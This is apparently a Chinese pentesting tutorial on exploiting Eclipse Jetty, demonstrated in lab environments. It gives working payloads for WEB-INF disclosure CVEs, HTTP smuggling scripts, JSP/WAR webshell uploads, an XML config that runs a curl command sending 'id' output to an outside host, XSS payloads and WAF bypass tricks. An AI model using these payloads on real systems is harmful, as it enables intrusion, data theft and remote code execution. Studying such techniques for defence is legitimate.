Jetty
Eclipse Jetty是一個Java Web 服務器和Java Servlet容器。雖然 Web 服務器通常與向人們提供文檔相關聯,但 Jetty 現在通常用于機器對機器的通信,通常在更大的軟件框架內。Jetty 是作為Eclipse Foundation的一部分開發的免費和開源項目。Web 服務器用于Apache ActiveMQ、Alfresco、Scalatra、Apache Geronimo、Apache Maven、Apache Spark、Google App Engine、Eclipse、FUSE、iDempiere、Twitter 的 Streaming API和Zimbra。Jetty 也是Lift、Eucalyptus、OpenNMS、Red5、Hadoop和I2P等開源項目中的服務器。Jetty 支持最新的 Java Servlet API(支持JSP)以及協議HTTP/2和WebSocket。
在開始了解Jetty利用方式之前,需要了解一下關于Jetty小知識
$JETTY_HOME映射Jetty分發目錄即start.jar啟動目錄$JETTY_BASE包含配置文件、WEB應用。在Jetty啟動機制中,會優先高到低的順序加載配置:- 命令行
$JETTY_BASE目錄及其文件- 使用選項指定的目錄
--include-jetty-dir及其文件 $JETTY_HOME目錄及其文件
至于演示使用的環境,除了使用vulhub外,我還自行搭建了一個簡單的環境,至于如何搭建建議看官網手冊。
0x0 特征
0x00 響應Server標頭
發送HTTP請求時,響應包的Server標頭會返回Jetty版本信息(默認返回)。

0x01 GET請求
在GET請求的URL后面添加;(也有說是;",但是我復現時發現使用;也能達到相同的目的),可以識別大部分的Jetty中間件
Jetty服務器響應包一般都為200,Nginx一般為404
向Jetty服務器請求數據中添加;test,響應包為200

接著向Nginx服務器請求包添加相同的數據,響應包為404

0x02 404頁面
Jetty服務,默認情況下會在404頁面顯示當前版本信息

0x1 WEB.xml
Web.xml別名部署標識符文件(Deployment Descriptor file),一般來說Web.xml文件一般都是在WEB-INF目錄中。Web.xml危害幾乎都是信息泄露,無法單獨拿該漏洞做文章!
下面看一個簡單的Web.xml
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" version="3.1"> <servlet> <servlet-name>comingsoon</servlet-name> <servlet-class>mysite.server.ComingSoonServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>comingsoon</servlet-name> <url-pattern>/*</url-pattern> </servlet-mapping> </web-app>
xml文件根元素被命名為web-appservlet服務器設置servlet-name服務器名稱servlet-class服務器類servlet-mapping定義servlet和URL模式之間的映射servlet-name該名稱對應servlet-nameurl-pattern用來解析URL- 上面xml文件作用是將網址路徑
/*映射到mysite.server.ComingSoonServlet應用類
需要注意的是。在Java Servlet Spec 3.0后,可以不用web.xml文件配置應用程序,可以通過Java類和注解到達相同的目的
至于xml其他標識符這里就不繼續講解了,有需要可以訪問鏈接查詢
0x2 CVE漏洞
0x01 Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-28164)
影響版本: 9.4.37-9.4.38
直接訪問/WEB-INF/web.xml顯示404

在/WEB-INF/...前面添加/%2e可以繞過下載web.xml,記住不能直接使用瀏覽器寫入/%2e,不然可能會因為瀏覽器解析問題導致失敗
/%2e/WEB-INF/web.xml

0x02 Jetty 通用 Servlets 組件 ConcatServlet 信息泄露漏洞(CVE-2021-28169)
影響版本:<= 9.4.40、10.0.2、11.0.2
正常情況無法通過/static?/WEB-INF/web.xml訪問到敏感文件web.xml

將W進行雙重URL編碼可以繞過攔截,訪問敏感文件web.xml
/static?/%2557EB-INF/web.xml

0x03 Jetty WEB-INF 敏感信息泄露漏洞(CVE-2021-34429)
影響版本:9.4.37-9.4.42, 10.0.1-10.0.5, 11.0.1-11.0.5
jetty 9.4.40雖然說修復了%2e導致的敏感信息泄露漏洞CVE-2021-28164,但是由于修復不完善還可以使用下面三個方法繞過
- unicode形式URL編碼:
/%u002e/WEB-INF/web.xml \0組合.導致的繞過:/.%00/WEB-INF/web.xml\0組合..導致的繞過:/a/b/..%00/WEB-INF/web.xml
訪問/%u002e/WEB-INF/web.xml繞過下載
/%u002e/WEB-INF/web.xml

0x04 CVE-2020-27223 DOS
影響版本:
Jetty 9.4.6——Jetty 9.4.36Jetty 10.0.0Jetty 11.0.0
在Eclipse Jetty 9.4.6.v20170531 到 9.4.36.v20210114(含)、10.0.0 和 11.0.0中,當Jetty處理包含多個帶有大量“質量”(即 q)參數的 Accept標頭的請求時,由于處理這些質量值的 CPU 使用率高,服務器可能會進入拒絕服務 (DoS) 狀態,從而導致處理這些質量值的CPU時間用盡數分鐘。
環境搭建:
git clone https://github.com/motikan2010/CVE-2020-27223 cd CVE-2020-27223 mvn spring-boot:run
環境搭建好了,直接使用環境內的poc腳本
./cve-2020-27223-poc1.sh

0x05 jetty走私(CVE-2017-7656、CVE-2017-7657、CVE-2017-7658)
影響版本:
- 9.2.x:9.2.25v20180606
- 9.3.x:9.3.24.v20180605
- 9.4.x:9.4.11.v20280605
想看詳細講解jetty走私過程。推薦看原文:https://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4
環境搭建使用Dockerfile
FROM jetty:9.4.9 RUN mkdir /var/lib/jetty/webapps/root RUN bash -c 'set -ex \ && cd /var/lib/jetty/webapps/root \ && wget https://tomcat.apache.org/tomcat-7.0-doc/appdev/sample/sample.war \ && unzip sample.war' EXPOSE 8080 ENTRYPOINT ["/docker-entrypoint.sh"] CMD ["java","-jar","/usr/local/jetty/start.jar"]
運行Dockerfile
- 遇到tomcat.apache.org證書過期,可以把
sample.war軟件放到本地http服務器下載
HTTP/0.9
printf 'GET /?test=4564 HTTP/0.9\r\n'\ 'Range: bytes=36-42\r\n'\ '\r\n'\ |nc 127.0.0.1 8994 , World

雙倍內容長度
printf 'GET /?test=4970 HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ 'Connection: keepalive\r\n'\ 'Content-Length: 0\r\n'\ 'Content-Length: 45\r\n'\ '\r\n'\ 'GET /?test=4971 HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ 'GET /?test=4972 HTTP/1.1\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ |nc 127.0.0.1 8994 | grep "HTTP" HTTP/1.1 200 OK HTTP/1.1 200 OK

塊大小屬性截斷
printf 'POST /?test=4975 HTTP/1.1\r\n'\ 'Transfer-Encoding: chunked\r\n'\ 'Content-Type: application/x-www-form-urlencoded\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ '1ff00000008\r\n'\ 'abcdefgh\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ 'POST /?test=4976 HTTP/1.1\r\n'\ 'Content-Length: 5\r\n'\ 'Host: localhost\r\n'\ '\r\n'\ '\r\n'\ '0\r\n'\ '\r\n'\ |nc 127.0.0.1 8994|grep "HTTP/1.1" HTTP/1.1 200 OK HTTP/1.1 200 OK

0x3 上下文
Jetty當沒有設置根應用目錄、文件時,會顯示webapps里目錄信息
如果沒有設置根應用程序,而是通過web.xml映射方式提供服務,那么可以采用下面方式獲取應用上下文目錄
demo-simple.xml配置
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd"> <Configure class="org.eclipse.jetty.webapp.WebAppContext"> <Set name="contextPath">/</Set> <Set name="war"><Property name="jetty.webapps" default="." />/demo-simple.war</Set> <Set name="virtualHosts"> <Array type="java.lang.String"> <Item>test.local</Item> <Item>172.22.16.108</Item> </Array> </Set> </Configure>
通過瀏覽器訪問,jetty會正常進行工作,但是,如果我們在Host標頭中附帶不屬于xml Item標簽內的信息通過GET請求發送,在應用響應的結果中會顯示目錄上下文信息

在xml Item標簽添加127.0.0.1演示
無法通過添加127.0.0.1 Host 標頭獲取上下文目錄信息

使用新的標頭,依然可以獲取上下文信息

0x4 上傳RCE
jsp Jetty是基于Apache Jasper的模塊支持JSP
默認情況下,org.eclipse.jetty.jsp.JettyJspServlet負責處理Jetty中的JSP文件。
$JETTY_HOME/etc/webdefault.xml配置文件,默認情況下會將下面類型文件解析為JSP文件

jetty中要解析JSP文件,需要啟動jsp模塊
java -jar start.jar --module=jsp
0x01 常見上傳目錄
常見上傳JSP一般都會保存在$JETTY_BASE/webapps/root,這種RCE方式只需要了解一下就行。
0x02 上傳臨時目錄
Jetty如果沒有設置固定的"工作"目錄,每次啟動服務時生成的臨時目錄都會附帶上隨機數字字符串
臨時目錄結構如下:
"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"+randomdigits+"
- 我看文檔說時會在上面的目錄結構后加上
.dir,但是我環境中就沒有發現有加上.dir。這里需要注意一下,有可能是我的問題。 0.0.0.0是主機地址,8080是端口,test_war是resourceBase,test(root)是上下文路徑(將/轉換為_),any是虛擬主機,randomdigits是一串隨機數字。

這里我的上下文目錄可能有些多,所以看起來有點亂,只需要知道test(root)代表的是webapps里面的目錄即可。

如果能找到已經創建的臨時目錄,可以嘗試上傳shell到$JETTY_BASE/work/"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"/webapps/中
- 測試時,我發現臨時目錄中沒有
webapps目錄,那么就無法成功訪問。

設置工作目錄
設置工作目錄只需要在${jetty.base}目錄創建一個work目錄,而且work目錄一般都用作WEB應用程序所有臨時文件夾的父目錄,啟動服務時,會在work目錄創建臨時目錄
在“工作”目錄下的臨時目錄結構如下:
"jetty-"+host+"-"+port+"-"+resourceBase+"-_"+context+"-"+virtualhost+"-"

0.0.0.0是主機地址,8080是端口,demo-simple_war是resourceBase,test(root)是上下文路徑(將/轉換為_),any是虛擬主機。
0x5 上傳war文件rce
當無法上傳jsp文件時,我們還可以上傳war文件GETSHELL。
制作war webshell文件只需要將shell文件壓縮成war后綴即可
zip -r shell.war index.jsp
將war文件上傳到$jetty_base/webapps/,這樣就可以RCE了

服務器沒有開啟jsp模塊,那么即使上傳war文件也無法RCE,只能使用servlet創建java應用完成RCE
0x6 上傳XML文件RCE
除去上述上傳jsp、war文件可以RCE外,還可以通過上傳XML文件進行RCE
XML文件有自己的語法,允許實例化任何對象,并調用getter、setter和方法。
- 下面只是簡單演示復現,如果想看更詳細的內容推薦看這個鏈接
XML代碼
<?xml version="1.0"?> <!DOCTYPE Configure PUBLIC "-//Jetty//Configure//EN" "https://www.eclipse.org/jetty/configure_10_0.dtd"> <Configure class="org.eclipse.jetty.server.handler.ContextHandler"> <Call class="java.lang.Runtime" name="getRuntime"> <Call name="exec"> <Arg> <Array type="String"> <Item>/bin/sh</Item> <Item>-c</Item> <Item>curl -F "r=`id`" http://192.168.0.0:80</Item> </Array> </Arg> </Call> </Call> </Configure>
XML文件上傳后無需要服務器重啟,jetty的熱部署功能會自動掃描部署新的web應用程序

0x7 上傳文件XSS
JETTY服務器不僅可以上傳總所周知的.html或.svg文件,還可以上傳其他冷門擴展名的文件。
有效載荷:
- xml 載荷
<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert('PTSWARM')</script> - html 載荷
<script>alert('PTSWARM')</script>
我這里比較懶就直接抄作業了

除了上述這些文件可以上傳導致XSS外,如果JETTY服務器響應時沒有Content-type 標頭,可以嘗試自定義內容MIME類型,都可以導致XSS,不過載荷一般都是使用<script>alert('PTSWARM')</script>

0x8 Jetty繞WAF
jetty繞過這段,我沒弄成本地環境,也找不到相關環境。所以就直接用原文的內容。
原文地址:https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/
0x01 繞過waf攔截目錄
了解了Jetty服務器如何解析URL地址,我們可以繞過代理服務器上的過濾器。想象一下,Jetty服務器部署在NGINX代理后面,其規則阻止對 /adminURL/*的請求。
location ~ /adminURL/ { deny all; } location / { proxy_pass http://localhost:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; }
如果只在代理上配置了這個規則,我們可以向/adminURL;random/ 發送HTTP請求,并獲得對服務器上受保護資源的訪問權限。

0x02 繞過waf讀取文件
JSP文件代碼
<%@ page import="java.io.File" %> <%@ page import="java.util.Scanner" %> <% File myObj = new File(request.getParameter("filename")); Scanner myReader = new Scanner(myObj); while (myReader.hasNextLine()) { String data = myReader.nextLine(); out.println(data); } myReader.close(); %>
應用程序從用戶請求中接收filename參數,使用該參數中的路徑打開文件,并將文件內容返回給用戶。這是一個允許我們讀取任意文件的漏洞。但是,如果應用程序受到WAF的保護,該WAF會阻止所有在GET或POST參數中包含/的請求呢?
被WAF攔截情況下,可以利用request.getParameter方法處理參數的方式。getParameter在不同的中間件服務器上工作方式都有所不同。getParameter在jetty應用程序調用時,getParameter會在GET和POST參數中查找值。如果使用POST請求發送Content-Type: multipart/form-data,Jetty會將該請求使用單獨的解析器來解析。
如果POST參數中包含_charset_字段,則多部份解析將使用指定的編碼處理所有參數。這樣我們可以使用字符編碼來繞過WAF攔截,因為WAF不可能識別所有不同編碼的字符

圖片中使用的是ibm037編碼
使用上面的方法繞過waf需要服務器啟動多部份處理。如果服務器托管處理文件上傳的應用程序,則將啟用多部分處理。
不啟動多部份處理的服務器可能會跟圖片下提示

0x03 jetty 邊界解析
解析多部份請求的邊界時,解析器在到達;邊界字符串就會停止。;后面的所有字符串都會被忽略。

0x04 jetty 清除反斜杠
jetty從多部份請求中提取參數名稱時,會把反斜杠清除,即\[any_symbol]被轉換成[any_symbol]。我們可以利用該機制繞過WAF,下面使用XSS漏洞演示

參考鏈接
https://en.wikipedia.org/wiki/Jetty_(web_server)https://cloud.google.com/appengine/docs/legacy/standard/java/config/webxml#:~:text=and+URL+paths-,web.,corresponds+to+the+request+method.https://docs.oracle.com/cd/E24329_01/web.1211/e21049/web_xml.htm#WBAPP529https://examples.javacodegeeks.com/enterprise-java/jetty/jetty-web-xml-configuration-example/https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/https://www.eclipse.org/jetty/documentation/jetty-11/operations-guide/index.htmlhttps://mp.weixin.qq.com/s?__biz=Mzg3NjY1MDEwNA==&mid=2247483832&idx=1&sn=1fae284c4e66fc775b66fa11843ee6e5&chksm=cf2e4aaff859c3b94e31090d162203137ae3d69e88fb7efa041fa6c6d8a0f0afa129a8969dcf&scene=126&sessionid=1666801519&key=7d0747fd59e25d7fde7ea56ba3dbd27a46d71079bf4557cddd6dbf67fa6db01e1ddbabb678fd4bcc7224669ee8965fce920d364b72df2693de98b47a8b167470e6d863f08ff16523db3ee676ab857c47f0181b6b4fe51768664afc7f4b10df76c50dab93fd63c3320127442a62713a4a9e4c89703855a75a6dfa7f0a74ecdea1&ascene=15&uin=NTY2NTA4NjQ%3D&devicetype=Windows+Server+2016+x64&version=63070517&lang=zh_CN&session_us=gh_41c701ef9ecc&exportkey=n_ChQIAhIQi5%2BpKMYH%2FDrH1EHxMoTs6hL4AQIE97dBBAEAAAAAAADLOSx1qosAAAAOpnltbLcz9gKNyK89dVj0xiFhktn%2FS0Sp9BKDKmlZ1BjR%2BeKTtT7aNi%2BHCPBh6XL5F0crat5q9zC47pXJ6BunwkDJPOo2g%2FPdt%2BHeJciD1fIHWXKqowMcVhVw%2Buna2LNLFROsCo8PXF%2BqX1lkkGbC3DGY0AlDcB9HUkTAYH0WytQBKhQGYoLbaLISQceAWRnWhhfIsH0x58hFjQc7o8DoOg4DzN2D8L40WLNukN5%2F1z0FnLXUn5LKDtzFymWAGSoPBCVUgkm300gD3Z9maUC7hNJr3lCwAHFmWsbJ5AlPPRG9&achttps://github.com/motikan2010/CVE-2020-27223https://github.com/vulhub/vulhubhttps://regilero.github.io/english/security/2019/04/24/security_jetty_http_smuggling/#toc4
關鍵基礎設施安全應急響應中心
嘶吼專業版
看雪學苑
D1Net
D1Net
FreeBuf
安全圈
安全圈
關鍵基礎設施安全應急響應中心
虹科網絡安全
LemonSec
合天網安實驗室